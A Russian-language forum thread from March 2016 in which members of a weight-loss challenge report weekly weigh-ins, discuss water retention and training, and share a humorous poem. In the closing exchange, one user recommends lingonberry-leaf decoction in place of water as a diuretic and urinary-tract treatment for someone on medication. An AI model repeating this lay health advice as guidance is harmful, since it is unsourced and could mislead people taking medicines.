на этой неделе начались проблемы с коленом, и тренировок было совсем мало, ну и калораж в общем не радовал, надеюсь со следующей недели получится себя контролировать
з.ы. у нас ещё сегодня, извините

Марьяна Тихомирова 07.03.2016 02:45

№ 10 вес 60,8 прошу прощения за опоздание,командировка....

Анна Иванова 07.03.2016 09:19

13 - 61,400

Лилия 07.03.2016 10:10

Эх, доброе утро!
Взвесилась и расстроилась. Номер мой 50. На весах 60.8... Т.е. +1.1кг. :o Обидно, так как всю неделю держала нижную черту калорийности, правда спорт был только один раз за всю неделю, но был очень интенсивный. Надеялась на отвес ещё и потому что что заканчиваются КД... Вообщем не понимаю, где моя ошибка. Печально

То ли калорийность повысить, то ли тренировок добавить...
Пытаясь себя оправдать, начала уже думать, что привес из-за того, что весы новые. Что ж будем искать ответ на этот вопрос путём практики, посмотрю что будет на следующей неделе.

Елена Рябец 07.03.2016 10:56

Прошу прощения зарание за непросвещённость! Я первый раз вижу эту тему. Можно ли мне сейчас присоединиться к вашему марафону?

Rocksa 07.03.2016 10:57

Елена Рябец, Марафон идет уже 3 неделю. Как же вы присоединитесь? Условия для всех равные должны быть)

Елена Рябец 07.03.2016 11:03

Rocksa, Ну извините

Rocksa 07.03.2016 11:09

Чуть не забыла сама отчитаться) У меня плюс по сравнению с прошлой неделей. И хороший такой... Но перед собой я абсолютно честна. Рацион соблюдала от и до, даже не смотря на желание себя больную побаловать)) Причины у меня 2. Из-за таблеток сильно гуляет вода. Скачки веса по пол кг каждый день в разные стороны. И 3 силовые тренировки, после них у меня вес всегда в плюсе. Но очень радует, что начальные значения не превысила, значит процесс идет потихоньку.
Мой номер 1 - вес 67,1

Ольга Березина 07.03.2016 12:51

Спасибо, Ирочка за проделанную работу и воодушевления нас на дальнейшие "подвиги". Проанализировала таблицу и осталась довольна тем, что минус 1 кг (у меня) в общем-то в норме. Конечно есть более лучшие результаты, но в лидеры не стремлюсь, как-нибудь потихоничку, полегонечку и расстанемся с тем, что копили годами...С праздником!

Всю жизнь собирала по граммам
любимые свои килограммы,
и неужели не жаль ни грамма
потерянные килограммы?...
Ведь так набирать их приятно-
а теряешь-то безвозвратно...
И как мне теперь без них жить
овсянку и свеклу любить?

Елена Гелова 07.03.2016 13:03

У меня скорее плюс 0,3 за неделю. Смущаюсь

Общий сброс верный.

Rocksa 07.03.2016 13:25

Елена Гелова, тут минус как раз таки свидетельствует о наборе веса. Сброшено -0,3, то есть набрано) программа так считает)

Елена Гелова 07.03.2016 14:15

Rocksa, поняла, логично, вопрос снимается, а все-таки хитро ) потому как психологически видеть минус приятнее, чем плюс. А поучается наоборот - минус не есть гуд по этой таблице.

Rocksa 07.03.2016 14:20

Елена Гелова, Ну мне лень заморачиваться если честно)) Это таблица успехов, минус в ней это плохо))

Елена Гелова 07.03.2016 14:22

Rocksa, заморачиваться не надо ) спасибо за пояснение.

Людмила Счастливая 07.03.2016 14:22

Rocksa, знаю, но вот так...

надежда 07.03.2016 22:44

У меня радость!сегодня отвес-1.400!Ничего не понимаю)))))))в общем 85,700!неделю не подойду к весам!

Rocksa 07.03.2016 22:52

надежда алексеева, вода гуляет, что тут еще сказать. Тренировки влияют) Да много чего) Главное что бы верхняя граница колебаний постоянно уменьшалась)

надежда 07.03.2016 23:03

Rocksa, я так и подумала)))))вам для лечения помощи работы почек вместо воды отвар брусничника,легкий эффект мочегонного,и санирует мвп.

Rocksa 07.03.2016 23:06

надежда алексеева, а шиповник не пойдет?) эффект точно есть)) а про санацию не знаю)

надежда 07.03.2016 23:13

Rocksa, а вы чередуйте,шиповник тоже не плохо,но при проблемах с мвп брусничник самое оно.

Rocksa 07.03.2016 23:16

надежда алексеева, просто шиповник есть дома) а вот за брусничниклм надо в аптеку.. завтра праздник, все закрыто..)